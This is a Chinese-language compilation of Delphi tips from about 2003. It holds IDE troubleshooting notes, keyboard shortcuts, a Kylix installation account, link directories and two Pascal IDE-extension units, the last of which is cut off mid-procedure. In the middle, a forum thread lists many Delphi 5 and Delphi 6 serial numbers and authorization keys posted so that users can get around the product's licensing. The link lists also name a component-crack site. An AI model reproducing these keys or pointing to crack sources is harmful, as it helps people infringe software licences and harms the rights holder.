首页

Copyright (c) 1995-2003 Kingron. All rights reserved.

超级猛料2003 CHM版本由 ePing sTudio 制作


猛料声明
猛料论坛欢迎大家贴出超级猛料没有包含的新资料，谢谢！

Borland公司的广告语:

We don't want to own the world, We just want to make it work better!

请记住：帮助那些需要帮助的人是对帮助你的人的最好的感谢！勿以善小而不为！！

版权和免责声明：

///BEGIN

你必须同意下面的说明才能使用这个资料包，如果不同意，请立即删除本资料包。

你可以自由传播和使用这个资料包，但不得用于商业目的，未经许可，严禁收录于商业光盘及其其他出版物中。

如果你使用本资料包的话，你有义务向其他的Delphi爱好者推荐这个资料。

如果你使用资料包中的可以明确版权为Kingron的资料，必须在你的软件中的致谢中予以注明。

如果你使用资料包中的可以明确版权的资料，你应该在你的软件的文档中予以注明。

本文档（包括在本文档中使用的示例应用程序）仅供参考，Kingron在文档中未做任何明确或暗含的担保。本文档中的信息（包括示例、URL 和其它 Internet Web 站点引用）若有更改，恕不另行通知。使用本文档的任何风险或后果由用户自负，Kingron不对使用这个资料包造成的任何后果负责，由此引发的版权原因，本人也不负责任。Kingron保证原始散发的包裹不包含任何不良意图。

资料包中有到第三方的站点的连接，第三方站点不受Kingron控制，Kingron不对任何第三方站点的内容、第三方站点包含的任何链接、或第三方站点的任何更改或更新负责。Kingron仅仅为了方便目的而向您提供这些至第三方站点的链接，并且包括某种链接并不暗示 Kingron 认可相应的第三方站点。

如果您使用本资料包则表明您已接受了本声明。

本人对其他的软件的修改或者破解仅仅是出于学习和研究的目的，没有任何其他意图。

除非另行说明，否则在本文档例子中涉及的公司、单位、产品、个人和事件示例都是虚构的，与任何真实的公司、单位、产品、个人或事件没有任何刻意或隐含的联系。资料中所有提到的公司名称或商标，都属于其注册公司，在这里提到仅仅是作为引用。资料中提到的名字或者ID，一般是所在资料的作者或者拥有者。包中的资料绝大部分是来自于网络论坛或者BBS或者我回答网友的提问，或者是自己的心得和体会、编程技巧等等，凡是我自己的我也没有说明（除了几个明显注明的地方外），本人保留其版权，其版权属于其作者所有，与本人无关。如果你认为侵犯了你的利益，请来信告知，我立即删除。

Kingron已经尽力减少资料的重复和简洁，如果有重复的地方，我表示抱歉，鉴于精力和时间有限，不能一一查处，请大家原谅，资料包里面的东西绝大部分我测试过可行的或者认为可行的，至于使用资料包的时候有什么问题无法解决，也不要写信给我，技术问题可以到各大论坛提问，不要寄到我的信箱，因为以前有很多朋友写信过来就资料包中的一些问题写信给我，我实在是不能一一回复，抱歉了。其实这个资料包中有很多的东西不是一下子就能够领会的，很多的东西属于比较高级的内容，希望大家不懂的地方多去看书和仔细研究，慢慢地你会发现，以前很多的小问题，回过头去看，真的不算什么，甚至会疑惑自己当时怎么会提出那么“弱”的问题！：）

下面是我经常去的两个技术论坛：

http://expert.csdn.net 程序员大本营--中国软件之专家门诊，本人只光顾其中的Delphi论坛

http://www.delphibbs.com/delphibbs/listq.asp 大富翁论坛，国内专业Delphi论坛

还有Borland新闻组，如果你E文够好的话： news://forums.borland.com

最后祝愿大家水平一日千里，突飞猛进！为中国的软件事业和推翻M$的统治而努力吧！！

本资料包有一部分资料来自于方文设计室的Data2000中的Delphi技巧包裹，在此表示感谢！

这是他们的主页：http://funstudio.coolwww.net/

一部分资料来自于大富翁论坛的HUBDOG的“Delphi之未经证实的葵花宝典”，在此致谢！

这是Hubdog的主页：http://hubdog.myrice.com

这是Hubdog的Mail：mailto:hubdog@263.net

一部分资料参考自“Lloyd's Delphi Notes--Lloyd's help file!”，在此致谢！

一部分资料来自于Torry's Delphi Page，这是他们的主页，一个很好的Delphi Tips站点，该站点是Borland的合作伙伴：

http://www.swissdelphicenter.ch/torry/

有任何意见和建议，或者你有任何新的资料希望共享，可以来信：

mailto:Kingron@163.net

Web: http://kingron.myetang.com

CHM版本的猛料的最新消息将发布于ePing sTudio

网址: http://www.eping.net

猛料论坛: http://www.eping.net/fourm/index.asp

///END


精彩站点

Delphi(1)

C++Builder天地
cai jie的ftp地址(delphi)
Cool Delphi VCL
Delphi Companion
Delphi Component Collection
Delphi Warehouse Welcome to the Delphi Warehouse
Delphi 窑洞
DelphiUser-Delphi技术网
Delphi俱乐部(v2.0)
delphi原创第六日
DELPHI大学
Delphi热线
DELPHI盒子
efg's Computer Lab
FastReport 2.4 home page
FastReport 2.4
kylix中国讨论区
ngsoft之家
SQL编程技巧
Under Construction(myrice)
WWW.INPRISES.COM - 男儿有志当凌云
【 花花的Delphi空间 】
与荣共舞(HGrhgr)
中国软件
凌云天地--Delphi Fans俱乐部
品雪其寒
康炜の自由空间
康炜的个人主页- weikang.yeah.net
开寅软件工作室
欢迎光临贺国华的主页
祥云程序驿站-首页
程序员合众国
编程爱好者 -- http--www.pfan.net
编程爱好者
茶壶的小茶亭

Delphi(2)

欢迎光临“绝地源程序编辑器”项目主页
DELPHI 交流网
Delphi-C++Builder程序员论坛
delphi业余爱好者
Delphi俱乐部自由论坛
Delphi小筑
Oracle技术网
中国动感技术网络(商务中心)
中国开发网主页
北京思维加速电脑有限公司
宋兴烈的家
最精采的Powerbuilder世界,最Cool的PB解决方案
欢迎光临china-pub(中国互动出版网)
程 序 员 乐园 2000
程序天空技术网

Delphi相关

Delphi & Pascal
delphi 窑洞 --------技术资料
DelphiUser技术网
delphi下载天地
Delphi俱乐部V3.0
Delphi俱乐部自由论坛
Delphi在线
DELPHI天空
DELPHI盒子
IE & DELPHI
TGIFImage component for Delphi and C++ Builder
[未名码头]DELPHI文章
《Delphi 从入门到精通》作者主页
东日文档收集室 SuniDoc
屏幕抓字教程
替换系统函数
欢迎光临湖南师大BBS站
版主收藏
电子书籍下载-DELPHI
程序天空技术网
编程者的乐园
青岛电子信息网-技术天地

Delphi站点(1)

BaiF－百福Delphi之页
Borland-Inprise China - 英博思中国
DELPHI交流小站
Delphi仓库
Delphi俱乐部
Delphi爱好者
Delphi问答
Fastrep
FastReport sommaire
JPSoftware
leon ye之Delphi软-构件驿站
Top Support - TopGrid Download
Torry`s Delphi Pages (FastReport)
Torry`s Delphi Pages(FR)
【Delphi 心得网站】 欢 迎 您 ！(大软件)
中国开发网 www.cndev.net
同丰公司--首页(FastReport)
拓创论坛系统
穿越时空、经典无限[金点时空2000]
绿云网站(Delphi)
编程者的乐园
编程资源大全http--languageworld.yeah.net
罗云彬的编程乐园!
茶香迎宾(delphi)
贺国华的主页

Delphi站点(2)

32 Bit Delphi 深度历险
DBTools免费下载
Delphi Super Page
Delphi 世界之大富翁论坛
DELPHI 客栈
delphi_sohoo
DELPHI天空
Delphi空间
Inprise
LiWensong's Delphi
Torry's Delphi Page
七星瓢虫的家
中国软件开发网络(The Chinese Software Developer Network)
先锋工作室
宏宝莱Delphi工作室
源码天地(6.13)
神秘岛
程序中心—DELPHI天空
程序员集中营
编程设计梦工场
网盟_源代码
网络风采

Delphi站点(3)

c++ builder & delphi station
Delphi Components Crack (with Dr.Dai)
Delphi WWW
Delphi 和 Pascal 资源
Delphi乐园
delphi天地
Delphi构件介绍
Delphi热炕头
Delphi问答
Fastrep
Lycos Home Page
Power Page Other Delphi Sites
swKiller98's Web Site
The Unofficial Newsletter of Delphi Users
中国大陆INPRISE程序员论坛
宏宝莱Delphi工作室
小杨的主页
我爱编程
我的 Delphi 小站
程序员乐园
程序员集中营
钱达智(台湾)先生的网易MIRR站

媒体

ChinaMp3.com音乐极限
MP3歌曲下载
九天音乐
来过了吗？——电影下载+
网络电台、电视台大全
音乐时空-流行金曲系列

计算机相关

InfoWeb——前期回顾
Windows Update
中华网--下载基地
中国下载
中国网络之门－精彩网址荟萃，让您上网方便又轻松!(China Cool Websites)
中国超级工具库－软件下载
华军软件园——首页
天极论坛系统
欢迎光临PCHome--电脑之家
欢迎光临补丁广场——http--www.mypatch.net
湖南信息港
湖南信息港——电脑
电子书籍下载-古典文学下载
电脑报刊杂志
电脑爱好者网站
白菜乐园
蔫老虎精品软件网 - 病毒防护
驱动之家MyDrivers--您的硬件跑起来
黑客工具----OICQ&ICQ

链接

123@202.117.210.31
BESTDOWN STUDIO - 程序员之家
CodeCentral CodeCentral Home Page
CodeRush plug-in Multi-line Component Palette Menu
Delphi Components Crack (with Dr
Delphi Warehouse Welcome to the Delphi Warehouse
delphi下载天地
delphi技巧集
ftp.zsu.edu.cn
Function Index
Google
Graded Conversions Library List
http--www.51icon
http--www.comprg.com.cn
IECache
Inside Programming
Linux自由空间
Microsoft Support Knowledge Base
Microsoft Windows 脚本宿主参考
smiling电子小组
smth
SwissDelphiCenter.ch programming tips Forms
Taskbar 编程技巧
www.tt98.com贺卡传情
◇◇◆◇【BiosDiy】中文资讯网 — 个性化你的BIOS！◇◆◇◇
中国程序员网站-www.chinaprogrammer
华军软件园——首页
大富翁论坛 delphibbs
大富翁论坛
天虎音乐网欢迎您！
我的白日梦
投稿启事
推薦文章
易捷--NewEasier
电脑编程技巧与维护
白云黄鹤BBS
网友推荐
网络服务
蜗牛之家
计算机世界日报 为Delphi-C++ Builder增添IP控件
课件基地


电子书籍下载网址

Delphi5开发指南（99M）：

ftp://ftp.bj.software.chinese.com/software/program/book/dephi5developer.zip

电子书籍下载网址：

ftp://pub:pub@pub.chinafsdu.net

http://zjfeng.topcool.net/index.html

http://pcbook.51soft.com/

http://www.hktk.com/soft/program/book/index.html

www.tech521.com

ftp://166.111.164.147/

http://www.ebooksou.com

http://www.pcbookcn.com

http://www.gbfocus.com

http://www.helpwork.net/book/html/user/index.asp

http://wlbookwl.myrice.com/book.htm

http://wenxue.lycos.com.cn/level/5011.html

http://pcbooks.myrice.com

http://zhwm.myrice.com/pcbook/index.htm

http://www.laohu.net

http://www.eshunet.com/list0/08dn.asp

http://www.bookbig.com/culture12.html

http://dir.sohu.com/computer/freeservice/computerbooks

http://www.mayia.com/downshu/bookcity/index.asp

http://202.101.232.120/book/default.asp

http://www.vvsoft.net/vvbkss/vvbkss.asp

http://www.helpwork.net/book/html/user/index.asp

http://www.pcbookcn.com/

http://wlbookwl.myrice.com/book.htm

http://www.ebooksou.com/

http://www.pcbookcn.com/

http://www.gbfocus.com/

http://wenxue.lycos.com.cn/level/5011.html

http://pcbooks.myrice.com/

http://zhwm.myrice.com/pcbook/index.htm

http://www.laohu.net/

http://www.eshunet.com/list0/08dn.asp

http://www.bookbig.com/culture12.html

去这里看看更多：

http://dir.sohu.com/computer/freeservice/computerbooks/

nihao.dlut.edu.cn/web/book

202.192.154.5/ebook/index.asp

http://www.eng.stu.edu.cn/ebook/


Kylix安装亲历（转译）

译出此文献给对Kylix渴望已久，但暂时只能望梅止渴的各位同好。

Kylix安装亲历

我是一个使用Unix的狂热分子，也是一个Delphi程序开发使用者。所以当我第一次听说有Delphi on Linux这个工具时，我的内心起了极大的震撼，直到现在心潮尚未平静。我们公司今年二月已经预定了一套Kylix的服务器版。今天(2001.3.12)，我们公司可爱的FedEx夫人把预定的的软件送来了。

软件包中包括有：

Kylix服务器版光盘

协作工具光盘

SuSE v7.0测试版光盘

对象层次结构说明书

注册卡和相关广告

快速入门手册

对象化Pascal语言使用手册

用户开发手册

我使用的电脑配置如下：

CPU： Athlon 850MHz

内存： 512MB RAM

硬盘： 2x20GB 软件配置RAID-1

操作系统：RedHat 7.0 及有关升级

我没有安装Windows，为了进行Delphi编程，我在我的Linux上安装了VMWare以运行Windows 2000。

阅读了“对象层次结构说明书”，我注意到这么几个问题：

1 为了进行web编程，必须使用一些额外的类。已经有了不少Apache相关类(好了，我又要支付额外的700美圆)。

2 有些看起来很有用的类，如Tqueue、 Tstack和TstringHash都继承于类TorderedList。再次看看墙上的Delphi 5的说明，我找不到这些有用的结构和类。要自己实现并不难，但内建于CLX中就更好了！

3 不再有TwinControl类，取而代之的是类TWidgetControl。

4 类TframeControl是从类TwidgetControl继承而来，其实很多类都是从此继承而来，如类Radio groups, icon view, label, list box, memo, list view, tree view, form, frame, scroll box等。

插入CD光盘：

光盘内有README文件，一般的Unix系统下你都可以找到的。但它只是简单地说为了进展顺利，请先阅读文件PREINSTALL和INSTALL。很好，就先阅读：

PRESINSTALL文件：

文件的开头有一个重要的声明：常用的Linux系统中的一些错误会导致Kylix或用Kylix开发的软件运行错误。本文件列举了部分此类错误，以及检测和修正这些错误的方法。还有一个为确保Linux安装成功的所需软件列表。此外还有一个为Win32用户准备的特别说明。Unix是完全可配置的，这对于习惯于微软的“一应俱全”的思想的人来说简直就是噩梦。它可能会使你不时地陷入挣扎和喘气---像我们一样，但一旦你真正地体会到它的好处，你可能又会像我们一样对Windows抱怨不已。 ;-)

文件中还列举了安装所需要的各种库的所要求的版本（这是所有Unix系统的标准安装信息。Borland公司干得真不错！）。在Windows系统下，这些都是自动地升级的，但有时候却会带来灾难性的后果。而在Unix系统下，软件的说明文件将“礼貌”地告诉你你需要哪些版本，所以你在动手之前可以再三检查。有些Win32用户会认为这很原始，但Unix用户认为这很“礼貌”，私下里他们会说：“不要乱搞我的电脑！”。

看完文件后，按照提示继续：

（以下为屏幕实录）

jamesk@sherizod:~ :-) cd /mnt/cdrom/borpretest/

jamesk@sherizod:/mnt/cdrom :-) ./testsystem

Borland Kylix System Compatibility Test

Checking loader....OK

Checking kernel >= 2.2....OK

Checking libc >= 2.1.2....OK

Checking libjpeg >= 6.2.0....OK

看起来很顺利，我的系统能够运行Kylix！我真开心。

（译者注：此程序可在Borland公司主页上免费下载，本人的RH7.0没有通过第一项检测）

INSTALL文件

该文件解释了以root身份和以一般用户身份安装的差别(Root就是NT系统的管理员)。 看完之后，一般用户没理由不以root身份来进行安装--除非你在这台电脑上根本就没有root权限。

现在可以进行真正的安装了：

（以下为屏幕实录）

jamesk@sherizod:/mnt/cdrom :-) sudo ./setup.sh

BORLAND KYLIX

Checking dependencies...

Kernel version >= 2.2.0....OK

Glibc version >= 2.1.2....OK

X11 Server....OK

Libjpeg version >= 6.2.0....OK

然后会出现许可证协议。

再然后出现"全局选项"对话框，它包含有要求输入安装路径的下拉列表，缺省的目录为/home/jamesk/kylix，此外还有几种替代的选择：

/usr/local/kylix

/usr/kylix

/opt/kylix

我一般习惯把第三方的软件安装在目录/opt下，所以我的安装路径为/opt/kylix。其他的一切看起来都很正常，估计的安装空间大小为165兆。点击"Begin Install"，然后安装开始...，直至安装完成。然后有一个很重要的提示要求我重启X，以显示GNOME/KDE菜单项。(其实很简单，我只是坐在椅子里，键入Log out/log in而已)。这个重要提示你通过菜单或是命令"startkylix"开始运行软件。

哈！安装就这样顺利！

OK！激动人心的时刻到了：从菜单里选择Kylix...，但CPU只是挣扎了几下却没有其他反应，真令人失望！

回到命令行：

（以下为屏幕实录）

jamesk@sherizod:~ :-) startkylix

wineserver: mkdir /home/jamesk/.borland/wineserver-sherizod:0 : Permission denied

真奇怪！别灰心，继续：

jamesk@sherizod:~ :-) ls -lah .borland/

total 44k

drwxr-xr-x 2 root root 4.0k Mar 12 13:02 ./

drwx------ 42 jamesk jamesk 4.0k Mar 12 13:06 ../

-rw-r--r-- 1 root root 1.5k Mar 12 13:02 .borlandrc

-rw-r--r-- 1 root root 814 Feb 27 19:03 dbxconnections

-rw-r--r-- 1 root root 1.4k Feb 27 19:03 dbxdrivers

-rw-r--r-- 1 root root 1.4k Mar 12 13:02 delphi60dci

-rw-r--r-- 1 root root 9.8k Mar 12 13:02 delphi60dmt

-rw-r--r-- 1 root root 3.0k Mar 12 13:02 delphi60dro

-rw-r--r-- 1 root root 1.2k Mar 12 13:02 delphi60rc

哦！我明白了，是我的错！因为我是用sudo安装的，sudo命令可以允许一个用户以非root身份登录系统却以root特权执行程序。Sudo以root身份安装了软件，但它用我的登录帐号安装~/.borland。我不能将推给Borland公司。是我没有按照的明确指示进行安装，是我罪有应得！

jamesk@sherizod:~ :-) sudo chown -R jamesk.jamesk .borland/

这样问题就解决了，哇！是Delphi! ...啊！... Kylix!

我在表单上放了一个命令按钮，设置Caption为'Hello'，按F9，一切都运行良好！

THANK YOU, BORLAND!!!


安装错误

我安装了delphi5,可是每次运行程序时总是报Debugger Kernel BORDBK50.DLL is missing or not registered ，可是bordbk50.dll在debugger目录里，我已经重新装了好几次，可是每次就算运行最简单的程序也报这个错，谁碰过这个问题，应该怎样解决，不要告诉我换光盘装，因为我的机器没有光驱，是通过局域网安装的，而且安装程序肯定没有问题，因为别人安装都是正常的

我也遇到过同样的问题，原因是Delphi在安装时和某些软件有冲突，比如Notes。

注意一下你的注册表 HKEY_LOCAL_MACHINENT的键值 应该是"Debugger"=""C:\PROGRAM FILES\BORLAND\DELPHI5\BIN\bordbg50.exe" -aeargs %ld %ld"

其实，在$(Delphi)下面有一个instreg.exe文件，运行它就没有问题了。


Delphi5企业版及其Update Pack #1的安装序列号
Delphi 6:

Serial #: z9j8-pum4n-c6gzq

Key #: rw2-7jw

我的DELPHI5用的是

1111111111（全是1）

update pack #1

1111111111111

fex1-91x0

回复人：Lionheart(2000-10-21 20:29:00 ) 得13分

我正版的序列号。100-001-6412/2fx1-91x0.不保证一定可用。

回复人：Nicrosoft(2000-10-21 22:26:00 ) 得13分

000-000-0000/4ex1-91x0

222-222-2222/eex2-91x0

333-333-3333/3ex2-91x0

444-444-4444/8ex3-91x0

回复人：lzliang(2000-10-21 22:33:00 ) 得13分

Delphi5企业版

sn:ski-hd3-c139

key:92x0-92x1

Update Pack #1:

ski-hd3-c139-92x0-91x0

回复人：dpo(2000-10-22 00:31:00 ) 得0分

就是送分吗！

回复人：hjandy(2000-10-23 14:32:00 ) 得0分

Borland Delphi5 Update1 S/N: ski-hd3-c139-92x0-91x0

Delphi 5 / 200-000-0323 / 2ex2-5fx0

Delphi 5 / 111-111-1111 / fex1-91x0

delphi5 c/s s/n: ski-hd3-cl39 key: 92x0-91x0

delphi 5 Client/Server package #1 sn:ski-hd3-c139 key:92x0-91x0

delphi 5 Client/Server package #1 sn:200-000-0323 key:2EX2-5FX0

delphi 5 Client/Server package #1 sn:555-555-5555 key:9ex0-91x0

Delphi 5.0 Enterprise

---------------------------------

Serial Number: ski-hd3-c139

Authrization Key: 92x0-91x0

---------------------------------

Serial Number: 100-000-5055

Authrization Key: e4x2-5fx0

------------------------------

Serial Number: 200-000-0323

Authrization Key: 2ex2-5fx0

---------------------------------

100-006-1659

6ax0-91x0


快捷键

选中一些文本，按Ctrl+O+U（保持Ctrl按下，先按O，再按U），将改变选中文本的大小写。Ctrl+K+E将选中文本全部变成小写；Ctrl+K+F变成全部大写。Ctrl+O+O将在单元前面添加所有的编译器设置。

文本选择的块列转换：

我们知道按Shift+光标可以按行选择文本，你用Alt+Shift+光标 移动看看？：）

多行同时缩进/反缩进

ctrl+shift+u

ctrl+shift+i


Delphi不能正常使用

不能下断点，不能正常使用等等。

出现这种问题的原因在于你的电脑在windows95/98上安装了IE5.0更新程序

或是IE浏览软件更新包及IE5更高版本，这个问题也正是我要解决的问题,

在windows98se中也是同样的问题，解决方法如下:

1.正常方式安装windows98/98se或是windows95

2.不要安装系统之外(win95.win98/se中的IE可用)的IE5.0或是IE5.5。

3.要是IE浏览多国语言环境，请单独download语言包后安装.


看不到IDE

我的DELPHI运行一段时间后，系统界面突然不见了。

每次运行时，只显示一个新的窗体，而菜单，对象编辑器等全不见了。

只有通过快捷键，或者打开一个已经存在的项目，问题才能解决。

哪位帮一下忙？

把delphi32.dmt与Delphi.dro删除后看看。

打开delphi/bin的目录看看最新的日期文件。删除后就可以。

但保存的配置就没有了。

我的就是这样，启动delphi看看delphi/bin文件夹，把当天（文件日期）的文件删除。

这与D版没关系，我在官方的网站看到的方法。

哈哈！没有人知道！

让我也来倚老卖老一回！（其实我一点也不老，姑娘今年正十八……）

我也遇到过多次这样的问题，最后都是把delphi全部卸光重装，苦不堪言。

其实，如果你不要先打开delphi，而是运行“以前”编写的某个程序的.dpr项目文件，

delphi的ide多半会重现江湖。知道为什么了吗？

还是不知道？很正常。

问题出在.dsk（即desktop）文件里。

用文本形式打开你的有问题的那个项目文件（也就是最新编辑过的那个），其中有一个域

叫做[Main Window]，下面的visible=0改成=1就可以了。

至于为什么它会变成0，我也不知道。反正问题解决了（哦，长长地出了一口气……）


多行控件面板

Delphi6 的多行Component Palette实现

    不久前，Borland公司出品的最新的Delphi 6，我也下载了一个Delphi 6练练手，虽然有很多令人兴奋的改进(比如XML和网络Indy控件就是经典)，但最为让人恼火的是Delphi的VCL控件体系不是很兼容，我以前在Delphi 5里面用的习惯的一些插件(Experts)和控件大部分无法正确安装，这是一个让人恼火的事情，尤其对于一个喜欢在Delphi里面安装一些第三方产品的人，比如大名鼎鼎的GExperts (http://www.gexperts.org/)。

    GExperts是一个免费的Delphi增强工具，有相当多的功能，其中之一就是Component Palette - 控件面板的多行显示，好像下图显示的那样。我是一个爱玩新鲜的人，或者说我不是很安分，我的Delphi会安装相当多的第三方控件，有时候找起来就很费时间，像下图这样显示多行控件面板，找起来就比较方便。有很多插件提供了如下的多行显示控件面板功能，比如BUPack、CodeRush等等。这些著名的产品都包含有这样的功能，可惜的是现在都没有Delphi 6的版本，我们怎么自己实现该功能呢？

    做为一个程序员当然会选择自己开发，老是等待他人的恩惠那是多么没有面子的事情。幸运的是，GExperts是一个免费提供源代码的产品，我下载了源代码并进行了相应功能的分析，也分析了一些其他人的实现方法，发现原理非常简单，想知道的话，先看我下面提炼的做了最简单化的源代码。

unit MultiLinePaletteExpert;

interface

uses

Forms, Controls, ComCtrls;

implementation

type

TMultiLinePalette = class

public

procedure ResizeComponentPalette(Sender : TObject);

end;

var

MultiLinePalette : TMultiLinePalette;

procedure TMultiLinePalette.ResizeComponentPalette(Sender : TObject);

var

AHeight : integer;

begin

with (Sender as TTabControl) do begin

AHeight := Height + DisplayRect.Top - DisplayRect.Bottom + 29;

Constraints.MinHeight := AHeight;

Parent.Constraints.MaxHeight := AHeight;

end;

end; {ResizeMultiLineComponentPalette}

procedure SetMultiLineComponentPalette(MultiLine : boolean);

var

AppBuilder : TForm;

TabControl : TTabControl;

begin

AppBuilder := TForm(Application.FindComponent('AppBuilder'));

if (AppBuilder <> nil) then begin

TabControl := TTabControl(AppBuilder.FindComponent('TabControl'));

if (TabControl <> nil) then begin

TabControl.MultiLine := MultiLine;

if MultiLine then

TabControl.OnResize := MultiLinePalette.ResizeComponentPalette

else

TabControl.OnResize := nil;

end;

end;

end; {SetMultiLineComponentPalette}

initialization

MultiLinePalette := TMultiLinePalette.Create;

SetMultiLineComponentPalette(true);

finalization

SetMultiLineComponentPalette(false);

MultiLinePalette.Free;

end.

    这个Unit文件定义了一个TMultiLinePalette类，其实这个类没有什么别的目的，仅仅是定义一个ResizeComponentPalette方法实例，动态赋值给ComponentPalette类的OnResize方法，这里提一句，动态方法赋值是Delphi程序员常用的一个技巧，一个事件对应多个方法，实时配置。其实，我们的代码关键是找到Component Palette的类实例。

    左边的窗口是我写的截取Delphi6的主窗口的所有Component的Name列表，通过使用的是Components[].Name属性获得。Delphi有几个主要的窗口类，左边的是Object Inspector和Object TreeView 窗口，我们的代码编辑窗口和窗体设计窗口，以及最上面的主操作窗口，我们关心的就是它了，因为它包含了Component Palette窗口类，注意，这里的窗口指的是从TWinControl继承下来的含有Handle属性的类，不仅仅是TForm类的子类，这个概念Delphi程序员经常混淆。

    获得该列表的作用是为了获取到Delphi6的主操作窗口的所有Component类的名称，可以告诉你的是，AppBuilder就是这个主操作窗口TForm类的名字，代码

TForm(Application.FindComponent('AppBuilder'));

就是找到主窗口类AppBuilder并赋值给一个TForm对象，这是多态的应用，各位朋友应该不会陌生吧。右边的截图是AppBuilder Form所包含的Components[].Name列表，因为它的子窗口类非常的多，这里只是给出了前面的20个子类，没有关系，我们已经看到第二个Name是TabControl，没错，就是它了，

TabControl := TTabControl(AppBuilder.FindComponent('TabControl'));

写完这行代码就几乎大功告成了，因为我们已经找到控件面板的类实例了。不用怀疑，我们的TabControl变量就是Delphi 6主窗口的控件面板的类实例强制转换为了TTabControl类型的值，最为父类，TTabControl有MultiLine属性，我们按照需要进行设置，OK，搞定！

    这段Unit需要安装，不要嫌我罗嗦，我见过很多Delphi程序员，面对此类代码不知所措，我简单介绍一下安装过程，新建一个Unit，将上面的代码全部拷贝进去，保存为MultiLinePaletteExpert.pas文件，新建一个Package，Add刚刚保存的MultiLinePaletteExpert.pas文件，编译、安装。想卸载该Package，在Delphi菜单项选择Component/Install Pacgage，找到我们的bpl，remove它就可以了，简单吧！另外，如果你还有任何问题，欢迎你联系我dragonpc@21cn.com ，欢迎一起来了解Delphi的奥妙。

Dragon P.C. - DDaa - Bruce Luo

作者会员名：dragonpc


Delphi启动很慢的解决方法

经常看到很多人说Delphi启动很慢，实际上，Delphi启动可以和VC差不多快的，只不过大家都没有注意到而已。

启动Delphi，然后Close All，Close All之后，然后到Project Options中，选择Package，把不需要的Package去掉即可，只留下常用的即可，这样可以大大提高Delphi的启动速度！一般的，只要很短的事件就够了。而每一个工程可以单独配置Package的，你的工程可以配置独立的Package，而不会影响别的工程。


Delphi 6中帮助系统
Delphi 6中帮助系统的主题一般都有VCL Reference和CLX Reference两种，如果按F1的话，首先会弹出一个对话框询问你到底选择那一个。时间长了就很烦人。这里有一个方法可以避免：如果你希望一直使用VCL的话，选择Help->Custom,将列表中所有有关CLX的项目一概删除，然后保存项目（当然，最好先将原先的设置备份一个，留给以后恢复用。）最后关闭再重新打开Delphi就行了。


Delphi的IDE的宏

录制和重播宏命令？

录制键盘命令：Ctrl+shift+R

停止录制：Ctrl+Shift+R

重播录制的命令：Ctrl+Shift+P

实际上，这个宏命令几乎没有什么用，功能太弱！不能指定重播的次数等。


IDE和Application.Title的问题

问题

在项目文件中{DPR}写一句

Application.Title := AppTitle;

其中AppTitle在另外一个单元里声明

如下

....

resourcestring

AppTitle = 'XXXXXXXXXXXXXXXX';

...

如此导致DELPHI IDE出错。没有反应

运行环境 Win2k + Delphi5.0

疑是resourcestring声明不同

又用const试了一下，又是一样

继续查询在Forms中设置时函数声明

procedure SetTitle(const Value: string);

呵呵，有const限定符是说该值在函数内部不能更改

但奇怪的是我将const除去就可以了，为什么会这样子呢？

将const去除，就可以运行了。

指的是

procedure SetTitle(const Value: string);

一下子想不通，请各位发表一下意见

我的D五打过补丁

回复人： Kingron(单身走我路……) ( ) 信誉：112 2002-09-05 19:01:00 得分:0

我猜想，这是因为Delphi的IDE会自动管理Application Options,其中就有一项是Application.Title然而，这个管理是在设计的时候的，就是说Delphi的IDE没有办法分析DPR文件中的变量或者常量，因此Delphi的IDE就干脆Disable了事儿！你打开Project Options对话框就明白了。

你可以用{$I指令来解决这个问题：

program Project1;

uses

Forms,

Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

const

MY_CONST='Test';

begin

Application.Initialize;

{$I MYCONST.txt}

Application.CreateForm(TForm1, Form1);

Application.Run;

end.

///MYCONST.txt文件内容如下：

Application.Title:=MY_CONST;

然后你在其他的地方定义MY_CONST即可。

这样你的程序不会有任何影响，而Delphi的IDE也不会有任何影响，这个应该是比较完美的解决方法了。


判断当前是否在运行Delphi的IDE？

有M多人都是使用FindWindow来查找TAppBuild来判断是否是Delphi的IDE正在运行，实际上，Delphi提供了一个全局变量：

delphi5在system.pas里声明了一个全局变量

叫debughook,

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowMessage(IntToStr(DebugHook));

end;

当显示为1时，表明运行在ide下，0时表明没有运行在ide下


如何改变Delphi的快捷键

（本文在零点天地 http://myzeroworld.yeah.net 和 SJTU BBS Delphi 板同时发表，转载请保持文章完整性和相关连接）

如果说Delphi的IDE有什么优势的话，那么我想就是它本身就是由Delphi编写而成，因此我们能定制Delphi的IDE环境，通过Delphi的ToolsAPI的Com接口。

下面这个例子使用IOTAKeyboardBinding接口，实现对快捷键的重新绑定，相关的接口定义见ToolsAPI.pas。源码很简单，相信你一看就懂。该例子用来修改与中文环境冲突的Code Completion得快捷键，改成Ctrl+Alt+Shift+P和Ctrl+Alt+Shift+O，如果你遇上什么问题，请写信给我。

//EagleBufferList.pas,2002.5.24

{

Pan Ying,Zero Studio

All Right Reserved.

The Demo show how to change Delphi's Key Binding,just in Delphi

press Ctrl+Alt+Shift+P to use Code Completion.You can contact me by

sending e-mail to me (panying@sina.com)

Some code from Delphi's ToolsAPI Demo.

Attention:

This software is provided 'as-is', without any express or

implied warranty. In no event will the author be held liable

for any damages arising from the use of this software.

This unit is free to use but the origin of this software

must not be misrepresented, you must not claim that you

wrote the original software.

Feel free to use this component in your product including

commercial applications.

If You alert this component's code to make it better,

please remember to tell me about it , let's to make it better

together.

This attention may not be removed or altered from any source

distribution.

Feedback:

E-Mail: panying@sina.com

HomePage:http://myzeroworld.yeah.net

Version 1.1

Remove some useless code.

Version 1.0

Initial Version.

}

unit EagleBufferList;

interface

procedure Register;

implementation

uses Windows, Classes, SysUtils,Menus, ToolsAPI, Controls ;

type

TBufferList = class(TNotifierObject, IUnknown, IOTANotifier,

IOTAKeyboardBinding)

function GetBindingType: TBindingType;

function GetDisplayName: string;

function GetName: string;

procedure BindKeyboard(const BindingServices: IOTAKeyBindingServices);

protected

procedure CodeCompletion(const Context: IOTAKeyContext; KeyCode: TShortcut;

var BindingResult: TKeyBindingResult);

end;

resourcestring

sBufferList = 'Eagle''s Buffer List';

//register this key binding

procedure Register;

begin

(BorlandIDEServices as IOTAKeyBoardServices).AddKeyboardBinding(TBufferList.Create);

end;

{ TBufferList }

//the code to bind key

procedure TBufferList.BindKeyboard(const BindingServices: IOTAKeyBindingServices);

begin

BindingServices.AddKeyBinding([ShortCut(Ord('P'), [ssShift, ssCtrl, ssAlt])], CodeCompletion, Pointer(csCodeList or csManual));

BindingServices.AddKeyBinding([ShortCut(Ord('O'), [ssShift, ssCtrl, ssAlt])], CodeCompletion, Pointer(csParamList or csManual));

end;

//do code completion

procedure TBufferList.CodeCompletion(const Context: IOTAKeyContext;

